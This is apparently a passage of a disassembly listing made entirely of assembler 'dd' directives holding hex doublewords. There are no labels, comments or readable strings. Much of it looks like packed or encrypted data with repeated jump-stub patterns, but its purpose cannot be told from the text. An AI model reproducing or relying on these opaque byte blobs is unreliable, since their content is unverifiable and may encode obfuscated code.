		dd 6CB37A4Ch, 0F685D2F4h, 0D3FDC79Bh, 94EBC059h, 28FB322Ch
		dd 50BB8DD5h, 0EBDB947Ch, 15333594h, 33C67E99h,	0C941A109h
		dd 0D53652F4h, 8CDB1868h, 0B6774911h, 0A4748D9Bh, 170B7539h
		dd 0CD22929Bh, 0F06F7682h, 1806730Ah, 9A1420CFh, 0EF674DF8h
		dd 0F897BA73h, 86BA9F66h, 0BECA1525h, 674DF80Ch, 41BDD941h
		dd 0E40E3026h, 505A676Eh, 9EEB62B1h, 6A000001h,	0BCDBD7F1h
		dd 0C6BA799h, 5DBA7648h, 0A9C6C21Ah, 0E6138FB1h, 8EB0A633h
		dd 5F69F512h, 291344A3h, 0F4D292EDh, 0BFCD6238h, 92DAEC0Dh
		dd 81ECC440h, 0CC2BE7D9h, 0F9738194h, 8C94EBC0h, 4A8A8841h
		dd 76921FA3h, 81BADEDAh, 0B70AE1C7h, 1F9BBDh, 0CD39B540h
		dd 1F4F079h, 0E55506E5h, 0A8315F88h, 0C78AC661h, 79D25C68h
		dd 0BBA76D3Eh, 8ED5B01Fh, 1905F1BEh, 9EA9ADC5h,	69EC9C6Fh
		dd 71571195h, 69EFAAB5h, 5C66F857h, 93AF38Fh, 4B5D67B9h
		dd 0A72B9675h, 5231DC0Bh, 0C1CF3E08h, 73130BB8h, 6E002CBBh
		dd 0E3674112h, 73EF8E7Fh, 25034598h, 5034CDC6h,	0A02F44B4h
		dd 14E7EE5h, 411179F3h,	9B120C67h, 0F516874h, 322C796Ch
		dd 0F9DF99F6h, 758ACF12h, 1443DFE9h, 3E20E579h,	7F03E804h
		dd 84053F20h, 2A1E07F1h, 7839CC84h, 0CCB1CA8Fh,	87900CA8h
		dd 0F942ECF8h, 0E8377994h, 0F5345072h, 50FFF444h, 0B9B4BD44h
		dd 0CA8DD067h, 267556F2h, 0F1A3082Eh, 6CDC784Ch, 35CCD807h
		dd 486D928Bh, 4E4DDAD6h, 45D53608h, 0E63D344h, 842632C1h
		dd 0F975C313h, 2289BFA2h, 609801Ch, 0F4349BFAh,	5FACB26Bh
		dd 47554000h, 4E1C79A5h, 0BD2A46D8h, 45447ADEh,	0E0C67E99h
		dd 7E581877h, 891C8DADh, 0D2102C43h, 0CF009C8h,	0C88AEA6h
		dd 745771F3h, 0BD0E2E29h, 6415CF3h, 8A7EE726h, 8E0A2C24h
		dd 0FAD1F771h, 23253857h, 8889BA54h, 9F0ED987h,	874h, 12716200h
		dd 0B3B37A4Ch, 0E8DC8197h, 0A284BC03h, 5B6DF249h, 17312D70h
		dd 0CFF169B4h, 87B9A1FCh, 0BE9ED924h, 744A0E6Dh, 33154897h
		dd 895108D8h, 4C181E1h,	83000000h, 0C8704E9h, 24248B24h
		dd 81E68956h, 4C6h, 4EE8100h, 87000000h, 895C2434h, 2468242Ch
		dd 89000051h, 5551241Ch, 1C23A0BDh, 0F5816Bh, 8935E078h
		dd 73BD5DE9h, 3158CD41h, 8B5459CDh, 0C483241Ch,	8B85004h
		dd 2D000000h, 0AE504DDh, 0DD05D801h, 890AE504h,	1C8B5828h
		dd 0E0895024h, 405h, 4C08300h, 5C240487h, 5D2434FFh, 4C481h
		dd 85E90000h, 47FFFA50h, 0B4A933D0h, 0B8017478h, 6312EAEh
		dd 0E0FFC503h, 3389081Dh, 51E52959h, 120E4BEFh,	24E9h
		dd 0B5648500h, 41000046h, 2, 6 dup(0)
		dd 0BD9E900h, 0E9680000h, 0E9063130h, 0FFFB2077h, 3131D568h
		dd 206DE906h, 1568FFFBh, 0E9063133h, 0FFFB2063h, 3133DD68h
		dd 2059E906h, 0BD68FFFBh, 0E9063134h, 0FFFB204Fh, 3136A468h
		dd 2045E906h, 3668FFFBh, 0E9063137h, 0FFFB203Bh, 3138CD68h
		dd 2031E906h, 0C168FFFBh, 0E9063139h, 0FFFB2027h, 0D256A7E3h
		dd 0F509763Fh, 0FE34E10h, 24D82B6Ah, 72B60341h,	88CEBC91h
		dd 5924F93Dh, 3A7F1216h, 0C5429CDh, 0E4C541A5h,	0EA20418Eh
		dd 50435C91h, 30A7B3Bh,	0F539C12h, 0B3FD97DBh, 6130384Eh
		dd 186929EEh, 186F3411h, 0DFC6BD79h, 3B2C5D4Ch,	0AE2994DEh
		dd 0F034C38h, 2A1E97DBh, 9ADE74Bh, 10589DE6h, 4DBAF8E9h
		dd 5091F00Eh, 0A8D689E8h, 91F00E63h, 4912001Fh,	71A65FFFh
		dd 20DAh, 0C2257100h, 80722029h, 959DE626h, 74432ADh, 7B91F019h
		dd 9BEDF69Ch, 6671A678h, 0BCh, 0A7B3B15h, 0BB0E548Dh, 87CA0F3Ch
		dd 5D9EE124h, 0A60F5744h, 0C6033439h, 0A75317Ch, 1797DB0Fh
		dd 5EA5EE23h, 0F2125247h, 5BDF43B2h, 0DB3469EFh, 0B37FC797h
		dd 0DB0BB0FFh, 31A5AD97h, 0E95818FDh, 0EB5C1BE0h, 891CD78Ah
		dd 0C18BE716h, 0C49DE627h, 49B989Ch, 520C626Bh,	0AF9BCED0h
		dd 0F55B2BBh, 0E5A346BAh, 4B7DD790h, 0C37E8AB1h, 9BDB5h
		dd 2796D200h, 1E652EC3h, 0F03D071Ah, 0A91A593Ch, 87F2B055h
		dd 3D4B8063h, 0BEE0277h, 6E03E748h, 0BB5ED229h,	0FA768AFBh
		dd 3F70BFF3h, 0B26D91EAh, 87D3B63h, 4300C5F4h, 0E15211F4h
		dd 4ABBFB90h, 135C5243h, 0E97DB0Fh, 2C7F3B5Ah, 2029C225h
		dd 0E6268072h, 0B4FC959Dh, 0A85CD24Dh, 1908432Fh, 997491F0h
		dd 0B5FE5B8Dh, 3B0D374Eh, 8671A679h, 0C3h, 0A7B3BB5h, 0BB0E548Dh
		dd 34CC723Ch, 226297DBh, 0FABA5FD3h, 0F319828Bh, 9B348BDDh
		dd 1CD78AEBh, 3731B89h,	0BD6C5DE7h, 0DB0086F1h,	23D79B97h
		dd 2AE08EBFh, 2F9DE62Ch, 1B87F0BEh, 0D69A91F0h,	0B235CE22h
		dd 95623039h, 489BCED8h, 8AE81900h, 97DDA75Dh, 48791840h
		dd 4970C583h, 0C770C78Ch, 0A1443243h, 81F09BE3h, 429F8962h
		dd 704111DEh, 7328AB1h,	8D179h,	53AAEE00h, 0A793ADFh, 0EC5113F6h
		dd 0C52E7508h, 0B3064C21h, 0C9BF947Fh, 27FA3E8Bh, 7A1F135Ch
		dd 572ACE3Dh, 0C642A60Fh, 3E5C8BE7h, 4E4191EAh,	87D3B5Fh
		dd 5E5CC5F4h, 477136A1h, 105F535Ah, 0D97DB63h, 175F3C45h
		dd 3B014AAEh, 548D0A7Bh, 0B241A50Ch, 0E589B02Bh, 9DE6452Fh
		dd 30E996DAh, 8ED0170h,	307EF948h, 1AB61FBAh, 1E1A0807h
		dd 0D9F3BE56h, 39B12E9Bh, 41840AB5h, 8D05B2FFh,	4000E519h
		dd 0D23846F1h, 0DC16B619h, 5B1B1105h, 337316EAh, 0F562D393h
		dd 5D4EC97Dh, 0AE3F26A4h, 663FAB4Eh, 0B6CFB618h, 2CF6D116h
		dd 0E5196828h, 46F14000h, 9687188Fh, 74098E18h,	0BEF53E3h
		dd 0F3FA7568h, 79E64D16h, 0E3FA0F1h, 0ACE0EA95h, 0D4ADF51Ch
		dd 5F873C6Eh, 0BBF95EE5h, 69D1374Eh, 8A1DC760h,	9CF9BDB5h
		dd 0EE3C4A05h, 92E94975h, 74C6AF77h, 41EA0DD8h,	496h, 0D8076B9Ch
		dd 0C5E9497Dh, 92A1049Dh, 97DB0F25h, 0DB3FE922h, 1BADF697h
		dd 296297DBh, 8197DB1Ch, 3D6A081Eh, 2097DB1Ch, 76E0D035h
		dd 9C006F4Bh, 0FF8DE1E8h, 3A9DE612h, 0CF3B936h,	79E490D6h
		dd 7910Bh, 136A2E00h, 0CA397A1Fh, 0AC115336h, 85EEB548h
		dd 73C68C61h, 97FD4BFh,	673AFE4Bh, 0BA5FD31Ch, 976A8EFDh
		dd 868266CFh, 3C9CCBA7h, 8E8191EAh, 0A7B3B9Fh, 0D8534A8Dh
		dd 1C5BA0D1h, 8E64CAABh, 7B9DE85Fh, 4001C6F7h, 0FC244F3h
		dd 0CF43FC49h, 0CA05C0B6h, 232AC5D8h, 0A7509BE6h, 52C63572h
		dd 0CAEC8243h, 979BD775h, 0F61F8AAEh, 0C19A4FB8h, 77EE5297h
		dd 188C5DC9h, 6D4F4B8h,	697CC4A2h, 0D8D6C7F6h, 38A0766Fh
		dd 36B7CE72h, 9D44A278h, 44F36732h, 98811A8Dh, 0B637CC1Ah
		dd 5311F634h, 0C499FE6h, 3C860D0Eh, 64951922h, 9296DFA7h
		dd 8A4EE2Bh, 0CD4AFE49h, 175F3C45h, 2C6501AEh, 0EB563A26h
		dd 6C99Dh, 2BA2E600h, 27132D7h,	0E4490BEEh, 0DD266D00h
		dd 8BFE4459h, 0C1479C77h, 1FF23683h, 7217EB54h,	4F22C635h
		dd 0CE7ABE07h, 3C44B3FFh, 465991EAh, 682AEF57h,	8D149A05h
		dd 6D9C0F96h, 901EE6A8h, 97DB0F27h, 1582363Ah, 0AFC3049Dh
		dd 9DE645F5h, 5A3FE67h,	8DB5CE35h, 0B8FD94F4h, 0FF20DF43h
		dd 78A7CBB7h, 6591F0BAh, 9CE49FDh, 9841FE4Bh, 28F16ED9h
		dd 50CF1A65h, 0A3EC8242h, 0BE91F0BAh, 6588068Ah, 46E0CEFCh
		dd 0D1A06AEBh, 0A73E14FEh, 0AB690534h, 5E9BCD05h, 71DA16EAh
		dd 6E97DB7Ah, 97DB7A21h, 6C9D0E91h, 1F98E5AFh, 0A8D90A6Bh
		dd 7A8CFBB7h, 0A99197DBh, 2A886AC8h, 0F57D9DE8h, 55F03C4Ah
		dd 4D8A91EAh, 8C02BD06h, 554589F5h, 4B0B91EAh, 503B4DFAh
		dd 13C8479h, 5E973h, 4BC28600h,	2291D2B7h, 4692BCEh, 0FD460DE0h
		dd 0AB1E6439h, 0E1A7BC57h, 3FD256A3h, 12F70B74h, 6F02E655h
		dd 2E5ADE27h, 3B24931Fh, 663991EAh, 29C22537h, 5FB07220h
		dd 1D459DE8h, 8CF5BD62h, 980D8B68h, 98EFB491h, 0D19146F9h
		dd 0CEC07960h, 6EB776D2h, 0AE199584h, 0B391EA3Bh, 6D00F68Fh
		dd 68ADDC25h, 88C7DE29h, 0ADF70F57h, 68ADDC40h,	0D55DDA25h
		dd 0B8A6D42Ch, 552CCF6Bh, 0F0A27D1Ah, 0B175BC84h, 0AD07C9B3h
		dd 1AE1471h, 254B0000h,	0CA3578C2h, 2851C54Dh, 7391D237h
		dd 0DF53CC31h, 9AE44A2Bh, 209DE636h, 79249EDBh,	2C5A1BCCh
		dd 80D8B92Dh, 0B52E5FD8h, 0F32649A0h, 0B5F99860h, 91F05554h
		dd 0BF977F5Ah, 337C3228h, 0C191F055h, 0E0741Eh,	0B3A7C9FAh
		dd 6901E0Fh, 0DB9BCD9Ch, 0B6FE9397h, 470FD04Fh,	66793AFEh
		dd 3F07C4F5h, 0D3EAFF6h, 0F5B98BC8h, 97DBA38Ah,	863FA397h
		dd 0A0EEF8Ah, 9CE2B340h, 9DE66546h, 0B99E8FB3h,	78F78EFBh
		dd 0F062DD0Eh, 4F8CA191h, 8E00BF08h, 610A18F7h,	71A6CC17h
		dd 49E2h, 0C2259900h, 0CA0F2029h, 62B8398Ch, 0E0545A19h
		dd 20125021h, 359DE6F2h, 0A7E4920Dh, 1191F0CDh,	84F3B052h
		dd 74E3971Bh, 0E29DE2A3h, 0ADF8AA85h, 44C89A2h,	0F58C02BDh
		dd 1963081Ah, 4371A725h, 2E77BE86h, 0BE1Ah, 0FEEF3100h
		dd 0DB0F47B0h, 8F165A97h, 6B2ACA8Ah, 67EB9F18h,	196127F8h
		dd 652FE59Bh, 6AEB9F18h, 92065D35h, 0D743CE5h, 0BC054D92h
		dd 0BC0B488Dh, 0F68F03h, 0DB3352C4h, 4DB4FC97h,	58D3CAA9h
		dd 0CF2C5D51h, 158E9DE5h, 7F72F89Ch, 0D3354C6Bh, 5C4D7E6Fh
		dd 0F60EE956h, 354CF491h, 0BD862260h, 0DD41C976h, 8BFE4459h
		dd 0D7AC963Ch, 0AEDA9990h, 402h, 8E62DB9Fh, 0A145AAEBh
		dd 0FB3F82CCh, 10145F26h, 2EC2377Dh, 0BCFA8045h, 8DD0B549h
		dd 6E2BCE22h, 4000E519h, 38313DF1h, 0EA390D7Ah,	2C7F1091h
		dd 1B6A2AEFh, 62D79D7Ah, 0DFABEB8Eh, 0DB0F64D3h, 3A89CA97h
		dd 0FF6335BDh, 3B64B74Bh, 548D0A7Bh, 1A41A50Ch,	0D88F3992h
		dd 6A25B97h, 0E20DCA57h, 0A4094B8Eh, 0C53A91DDh, 0B9297DBh
		dd 6F056990h, 9A9DE895h, 0C770BD87h, 0E120DF43h, 367C6DFEh
		dd 9BD7BE9Ch, 0CAC661E9h, 0CD8AC57Bh, 370E28Eh,	490D0000h
		dd 18593CF0h, 0F0B257ABh, 0CD94698Dh, 0A5E3867Ah, 1E37DC50h
		dd 5BDF2A68h, 7CB0FB46h, 8B6FDC99h, 0A347AEF6h,	0BFE886A7h
		dd 0A291EA38h, 0FEEFBEE9h, 0DB0F47B0h, 8F165A97h, 727BCA8Ah
		dd 0FE22D41h
		dd 0E21097DBh, 0B6B7AA1Dh, 374EF284h, 569FE738h, 7CBE21D2h
		dd 2F5EC235h, 0E6BC0143h, 0D34CF49Dh, 0F0BB64A7h, 29FD1891h
		dd 0A712FA4Ch, 58C771h,	25740000h, 0F2029C2h, 0DB0F3463h
		dd 0CEA42997h, 97DB0F81h, 5120D49Ch, 26500290h,	10459DE6h
		dd 515C1DB8h, 939A0E61h, 0FF86EDB6h, 4D53640h, 84A991F0h
		dd 4D01F93h, 0D4CD91F0h, 0E3B22689h, 0B7D060Ch,	0D671A66Eh
		dd 117h, 126122E7h, 85887EBh, 1D4591F0h, 2AEF2184h, 159D1A69h
		dd 0F418EE4h, 145C97DBh, 28C8888Dh, 0BA054868h,	9601B53Dh
		dd 0FAF36C10h, 0EEAC2841h, 0EB8A42D1h, 6610682Eh, 2D642EECh
		dd 80C10E64h, 94DC97DBh, 0C42171E0h, 0F77F04A5h, 0A6D7D443h
		dd 0D5D12261h, 97DBF36Ah, 46AD8E98h, 7B0DDC88h,	0ED91DCA6h
		dd 76BF8794h, 0E15010C9h, 0FA444FF8h, 280563D6h, 3F216D49h
		dd 9197DB42h, 3D8C60D1h, 9411B084h, 0CAAB3FDEh,	276D85CDh
		dd 39AD25D2h, 0CF6047BEh, 67F2D0DEh, 9B609DE6h,	0BF0968DDh
		dd 198C778Bh, 941B9786h, 0E9BCED8h, 18CAC295h, 0BA69E857h
		dd 0A8F081BAh, 17093FADh, 22E74A18h, 0EC621D60h, 0CE947178h
		dd 0A4E2877Bh, 0D049651h, 48F78AB1h, 1D93Ch, 5BB2F600h
		dd 3281C2A7h, 14591BFEh, 0CD367D10h, 0BB0E5429h, 0D1B7AC47h
		dd 2FC22693h, 2E71B64h,	5F32F645h, 0DE4AAE17h, 375483EFh
		dd 564991EAh, 597D3B47h, 0B931AE1Bh, 541CF135h,	25C209EDh
		dd 722029C2h, 9DE62680h, 4432AD95h, 91F01907h, 0EDF69C7Bh
		dd 71A6789Bh, 0E166h, 7B3B1500h, 0E7808D0Ah, 0AC60E8EAh
		dd 5D81504Fh, 15B32203h, 3D7B1061h, 0F95E4FC8h,	5BCF48B9h
		dd 3542F43Ah, 8F3897DBh, 9E0AC188h, 71267FC9h, 492CC031h
		dd 0C43FB809h, 0FA5F4EE1h, 0BCC4BBAh, 2E77FB4Ch, 0A613F1BDh
		dd 18819DE6h, 591EE78Ah, 44FD75E2h, 3CA51314h, 0AABF320Dh
		dd 0A4049DD4h, 24BB78BCh, 1D91828Bh, 91F098D2h,	55C2357Ch
		dd 0FE87CBDDh, 7923DCCDh, 476A11DAh, 3C125021h,	0C19BCED0h
		dd 0EDAB9099h, 0C3816498h, 4AEFF976h, 75E08AB1h, 0E507h
		dd 4FBEFA00h, 268DD6ABh, 18652FC2h, 0F14201E4h,	0AF1A583Dh
		dd 0E5A3B84Bh, 33D62A9Fh, 16EB0F70h, 6306FA51h,	0D25ED223h
		dd 3628971Bh, 5A3591EAh, 87D3B4Bh, 985CC5F4h, 95876C76h
		dd 3FF6C170h, 0FA1115D8h, 4FB6FE9Bh, 7B3B60ABh,	9C12030Ah
		dd 97DB0F53h, 0C47B1A4Eh, 0EE25313h, 0F0F97275h, 0F1BDAEDFh
		dd 97DB0F86h, 6CDBD79Bh, 7197DB0Fh, 0AC4AA8C9h,	519DE85Fh
		dd 0B247E0E9h, 0EF1C886Ch, 74ADA4FDh, 9821C52Ch, 1681F6B3h
		dd 4C140190h, 0D60C7AE5h, 0DB516EA3h, 0DB6563Ch, 642309C7h
		dd 73E26413h, 0A5FC4A59h, 5841B0F0h, 7D1C4B27h,	0D3EED16Eh
		dd 10DD8560h, 5F262A7Ch, 77BE869Bh, 0E75017C8h,	22F0AF78h
		dd 0E3076E36h, 40FF460Eh, 1134h, 0C409DB00h, 0C3670F5Bh
		dd 6D349FD2h, 61159D1Ah, 7F3BCD10h, 848910Eh, 9CD93EB9h
		dd 246FB02Fh, 0BDFB5CDBh, 4C0ACF48h, 0DA997EF9h, 6729EE69h
		dd 0FB449D1Ah, 53B30BB4h, 0C381E389h, 4, 8704EB83h, 895C241Ch
		dd 8953240Ch, 4C381E3h,	81000000h, 4EBh, 241C8700h, 242C895Ch
		dd 79668h, 24048900h, 45E7BF57h, 0CF812BD6h, 6A3013BBh
		dd 8104EFC1h, 8E4AA7F7h, 0F8895000h, 5F58C589h,	8904EC83h
		dd 4832424h, 53580424h,	8BBh, 57C30100h, 3B89EF89h, 48B5B5Fh
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 5D2434FFh
		dd 0E904C483h, 0FFFB14ABh, 0B87A5440h, 6313ACBh, 0E0FFC503h
		dd 7848F336h, 1014B2A9h, 1E26C551h, 26C32CA0h, 18D3322Bh
		dd 2B37B06Ah, 0A45B582h, 10E8h,	8A1AAA00h, 9123DA2Fh, 76575DE3h
		dd 0F458B092h, 8AF78070h, 0C081F858h, 67BFh, 68C9DA80h
		dd 19C4h, 4870Fh, 8A510000h, 665F5BF3h,	0DCD5EB81h, 8B6630FFh
		dd 0B9535ED0h, 177D119Ch, 0B3F6815Bh, 607B8E85h, 11E9h
		dd 2504E000h, 0A1A17BACh, 6A5E748Fh, 8169C1C7h,	81619293h
		dd 4C6E1CEEh, 0DEBF0F10h, 4D40C681h, 0BB665CC3h, 30897896h
		dd 83D3B70Fh, 0B70F02E8h, 0B74848C9h, 850F4F80h, 16h, 8C532B9h
		dd 22E971h, 0E2270000h,	0FDD3E278h, 4A1289C5h, 8B66FE30h
		dd 0FF8EE9DEh, 227AFFFFh, 45C40D17h, 0DA5571F8h, 57DB0771h
		dd 3CEE8D8Dh, 6A0631h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 2C6832C3h, 8BCCD29Dh, 0E18D89D7h
		dd 89062B0Eh, 2B1B6D9Dh, 0E185C706h, 98062B21h,	8900005Fh
		dd 2B1EE5B5h, 0E585C706h, 62B2Bh, 89000000h, 2B00358Dh
		dd 0A1B5FF06h, 6A062B07h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 4E0DC351h, 14E9941Fh
		dd 1B000000h, 0A7FA7FB1h, 0A0FCEDCh, 2914F6F3h,	0BAC7CDC6h
		dd 0FF62A347h, 2B273195h, 0DE96006h, 49000000h,	0D028A7D6h
		dd 9D4704CAh, 0FE03E50Bh, 4E04D281h, 6A6114A2h,	4595FF00h
		dd 8B062B29h, 0FC1FEBC0h, 0AE0CA881h, 4D388473h, 0FA5C0548h
		dd 96802BE6h, 0F1D0F570h, 6634706Fh, 0E98D638Fh, 85E92E37h
		dd 0EE000000h, 4754E178h, 0F3BAF5CCh, 0D666D138h, 979FABAFh
		dd 0E37C4DB2h, 720095B7h, 0B5E9A9E5h, 609BB69Ch, 0A9B6F377h
		dd 609EB794h, 897D60D7h, 8C9EA9BDh, 0E3729EBDh,	204A95ACh
		dd 7E9BB98Bh, 0B99D8993h, 96AFF496h, 0B594A19Eh, 0FD91A7D6h
		dd 0CC48D100h, 3C33594Ah, 4D520071h, 5EF357DBh,	0BBEFB600h
		dd 0BD899Dh, 0B69F8995h, 97BBEFh, 0C3B1B6D0h, 527155h
		dd 0C20DA437h, 0E0910D3h, 2 dup(0)
		dd 10BDE9h, 3F586800h, 0DE90631h, 68FFFA42h, 631405Bh
		dd 0FA4203E9h, 413968FFh, 0F9E90631h, 68FFFA41h, 63142C6h
		dd 0FA41EFE9h, 433A68FFh, 0E5E90631h, 68FFFA41h, 6314405h
		dd 0FA41DBE9h, 44AC68FFh, 0D1E90631h, 68FFFA41h, 6314561h
		dd 0FA41C7E9h, 461168FFh, 0BDE90631h, 68FFFA41h, 63146EDh
		dd 0FA41B3E9h, 47A268FFh, 0A9E90631h, 68FFFA41h, 631490Eh
		dd 0FA419FE9h, 4BD668FFh, 95E90631h, 68FFFA41h,	6314CD8h
		dd 0FA418BE9h, 95AFACFFh, 655BFE19h, 340A4EA9h,	80A49FF8h
		dd 4D77EB04h, 0E8752451h, 37504C76h, 86E11D27h,	0D433EFD1h
		dd 9C7EBA9Ch, 0FECF618Fh, 868292DAh, 0E1C781A2h, 9BBDB70Ah
		dd 929EEE1Fh, 0E10FBCDh, 0C25765F2h, 0DD8AC6DEh, 0D4626EBDh
		dd 256D3F3Eh, 61BC0F39h, 2CE1CAFAh, 64B82F13h, 0B1BDE9DDh
		dd 55776BDBh, 3Dh, 0D21F6F71h, 2C6BF685h, 0AB451335h, 0DE94EBC0h
		dd 0CC0B0693h, 4CE87785h, 843E335Dh, 0C9518AC6h, 0F4B0139Eh
		dd 1750868Eh, 3BC90796h, 716D3E74h, 0A4CEFCC0h,	58776C8Dh
		dd 0C1h, 0E1C7817Ah, 99A3B70Ah,	9075EF32h, 0F15EFACCh
		dd 13F8CE92h, 0B00F9E0Fh, 3E0E55B0h, 0A6314DEDh, 21C049FBh
		dd 0F33A4491h, 0A786810Fh, 5F1994EBh, 0E262BD79h, 676E7C4h
		dd 47527EE9h, 2E8AC692h, 575F430h, 0DF307FE8h, 5E8EA54Ah
		dd 0B443CE3Fh, 0D583DC9h, 6E9F98FEh, 0C655B62h,	0A32C3273h
		dd 7F4C76E4h, 0E8D284E3h, 838E7F03h, 0B5AB5204h, 9C380A50h
		dd 0FAB9DC3h, 0D8E27493h, 591CF8AAh, 0B1984B50h, 0E59h
		dd 444084D9h, 9410342Bh, 27E3E57Bh, 73AF89C8h, 0BC784214h
		dd 4D158E71h, 0FA60BF7Bh, 0AEB3CCC8h, 47011E9Ah, 58F7A561h
		dd 0DAFFA24Ch, 7951D792h, 2BE7D981h, 76B294CCh,	0D6E27162h
		dd 94EBC054h, 0FBCF5FA5h, 0BC7FF4D6h, 8AFA6BA2h, 306FFA65h
		dd 0AFB3182Ah, 65F527Eh, 28368AC6h, 167F0DC3h, 1A356D3Eh
		dd 16CF618Fh, 9C826D3Eh, 6A10F46Dh, 8A2430DFh, 0FF6D3E16h
		dd 16FB7563h, 908E6D3Eh, 0AFF47E19h, 0BCA8776Ch, 2A000000h
		dd 0AE1C781h, 3299A3B7h, 0EBDB859Eh, 0CDB9E494h, 8923BD96h
		dd 5507C81Fh, 0E14418EAh, 0B99FD928h, 422227Dh,	6BEDA8A7h
		dd 55F1D78Eh, 1E53A354h, 9C96A3B1h, 61F97539h, 82C69BF6h
		dd 2A981129h, 319ED323h, 0D596923h, 0C995F073h,	43C12CFFh
		dd 476A1F0Fh, 0CFAE5FFBh, 0F475AE80h, 7793B182h, 93B5ADE8h
		dd 9F66F817h, 0DF6581BBh, 505A3275h, 562E21F2h,	0DA00000Dh
		dd 2C4B4781h, 7C9B1729h, 0CD2AE6D8h, 1976B28Ah,	76837F41h
		dd 7E401683h, 0CFF96582h, 99A3B4D3h, 6442021Dh,	4F5DF2A8h
		dd 92DA80BDh, 817C54D0h, 0C3624D9h, 0C03BB5C3h,	0D04E94EBh
		dd 251F78B4h, 71138703h, 0C054D6E2h, 312994EBh,	89AFA9F8h
		dd 4365DF22h, 12342847h, 980792B9h, 39C7C0E9h, 620CDAB5h
		dd 1794EB88h, 0C57F820Bh, 5E1974E3h, 7BD38F7Eh,	0F907927Dh
		dd 94EB8877h, 6495140Ah, 6470DF14h, 8AC6C5E1h, 0DD6F7D08h
		dd 0B06D3ED5h, 0B488D1AEh, 23C2CB57h, 0A7DFA9ECh, 0ED75A30Dh
		dd 7DE0BFDBh, 0E4F02F4Bh, 65B0D655h, 2136FA4Ah,	2A4678DCh
		dd 2633418Eh, 49888DF7h, 0F949FAD1h, 0BA5D6BF4h, 0C976FA7Bh
		dd 0C98B0651h, 9CD433EFh, 1EAE08BAh, 0AD94E0Fh,	0C7843h
		dd 0A1A3B800h, 71570A65h, 0C0065AB5h, 8CA8ABC4h, 5963F710h
		dd 0F461505Dh, 435C5862h, 92ED291Bh, 0E03FFBCDh, 904A4660h
		dd 81C36D7Bh, 0B2B692DAh, 0E1C7819Eh, 7C581B76h, 8B1A93AFh
		dd 0DA056ADAh, 0C08F214Fh, 82AE94EBh, 94EBC0E8h, 203EFD9Dh
		dd 0BF5A66E9h, 0D68AC6D9h, 0DD801F48h, 8F7E00EBh, 46EA5AD3h
		dd 516BEF12h, 224E9935h, 7312122Fh, 0FDD33826h,	6742246Fh
		dd 517F0A25h, 674224DFh, 0F22A7FB2h, 0EC013128h, 0DCA05950h
		dd 4089C4AEh, 827871h, 6F5A0000h, 7749111Fh, 0B7AD8A94h
		dd 0DEEA7591h, 8AC69293h, 0F4C74F82h, 10FBDD97h, 0D690210Eh
		dd 1F7AE501h, 47F0D53Ah, 0EF3C1A5Ah, 312DE453h,	1C203710h
		dd 0C817B3CFh, 79B094CDh, 948F1B85h, 0F8A6D3Fh,	849A714Bh
		dd 5C7AFA05h, 0D65864F3h, 276D3F94h, 763F60Bh, 0BBA7145Fh
		dd 0EE738C72h, 3F5AF1DAh, 4660E005h, 70B9D565h,	0B74C5h
		dd 35B3600h, 5967EAC1h,	6D3FDAD7h, 3F18B4AAh, 0E0E62719h
		dd 85D21F6Fh, 0DC837D77h, 0C10E108Ah, 68A482C2h, 84BEA0FFh
		dd 5C7AFA05h, 16EDE8Fh,	94C4BD6h, 0D589D437h, 0EA0618F3h
		dd 403AAD23h, 66257312h, 714B0FF2h, 0A168849Ah,	94F35CC2h
		dd 1F32FBDDh, 2AE6C080h, 5EAD8BCDh, 7509DEDh, 441D78h
		dd 0A7B897ABh, 35646C9Dh, 58795B62h, 0FDC396F5h, 0A446102Eh
		dd 0D97999AAh, 499F2541h, 5E568E58h, 0AEBDA8Dh,	16470000h
		dd 0C299F632h, 73E90682h, 3F36514Dh, 0DC829D19h, 1CC32EEAh
		dd 29E5DF83h, 7EBA8CCEh, 88043821h, 0D7D3F56Fh,	50DAE605h
		dd 2592DA82h, 62F00B2Fh, 7D94EBC0h, 0D74A330Dh,	0E9E4D300h
		dd 0D6A1B770h, 53EF300Eh, 0CB57F804h, 74EA8ADCh, 92B4ACEBh
		dd 597FF916h, 7C71C172h, 0D344C5D3h, 144B7309h,	9DBBBA43h
		dd 135FE501h, 14505CBFh, 0A778CC7h, 0A2BB0000h,	560D6AA6h
		dd 75DBA76h, 0ABAAC5C1h, 60F6118Dh, 6057A25Eh, 5D5963F7h
		dd 0F22E1842h, 3CF8CC95h, 4B4761E3h, 0DC6E7A91h, 0B192DA83h
		dd 12719FB3h, 88967553h, 6046FE01h, 0AA9788F7h,	0B62785EDh
		dd 1AA9A477h, 0EBDE7C0Eh, 80091194h, 0AE1C781h,	2937C26Dh
		dd 94EBDE87h, 0BCA564FAh, 0FBD09AC8h, 92747D96h, 56000004h
		dd 85D21F6Fh, 0B78EBD16h, 125D64C0h, 29835EC9h,	0D47BB26Bh
		dd 0DCD00BC8h, 0CF18068Ah, 29B690D0h, 5215F06Ah, 1991DE7Ah
		dd 0B8533107h, 36510DFCh, 1DB3183Eh, 6D24F18Fh,	84D32090h
		dd 0F141EBF9h, 2A346D24h, 0F11DAFBDh, 0EE706D24h, 504103Fh
		dd 87309E8h, 9870EC16h,	8C5F505Ch, 9ACC5h, 0EDD78400h
		dd 0BD83D631h, 0C322641h, 0D8FC7790h, 0A59FC3DCh, 0C05D1C69h
		dd 0F68A49Eh, 5EB9754Fh, 0ACCBC7F9h, 441692B4h,	841799A7h
		dd 0EE6A92DAh, 0E1C781CAh, 58BDB70Ah, 8EED3E18h, 816F5CBh
		dd 880750ECh, 683BF2D4h, 0EC9276CFh, 4B94A8B1h,	0EBC0B33Dh
		dd 5158C694h, 96DE3C36h, 5FFF9A7Dh, 31F88665h, 3C864h
		dd 62F06600h, 7D94EBC0h, 1877E00Dh, 828D7C46h, 0DC831776h
		dd 0A7302E8Ah, 524E68E8h, 0B6153335h, 931CEC9Bh, 0D9E53032h
		dd 0A2CF3FD0h, 45EA2735h, 75E57308h, 5D2D97CFh,	0E863B050h
		dd 905h, 9814302Dh, 28E4D87Fh, 7BB789CFh, 8703251Ch, 0D0CCF668h
		dd 0F169F2A5h, 0A6B4D3CFh, 5207609Ch, 1355B26Eh, 0C23F935h
		dd 0DA844EE0h, 2D050392h, 0AE1C781h, 309BBDB7h,	785375EDh
		dd 2E093F25h, 0D0B51628h, 698C6327h, 0A34EF4C8h, 0EBC01B95h
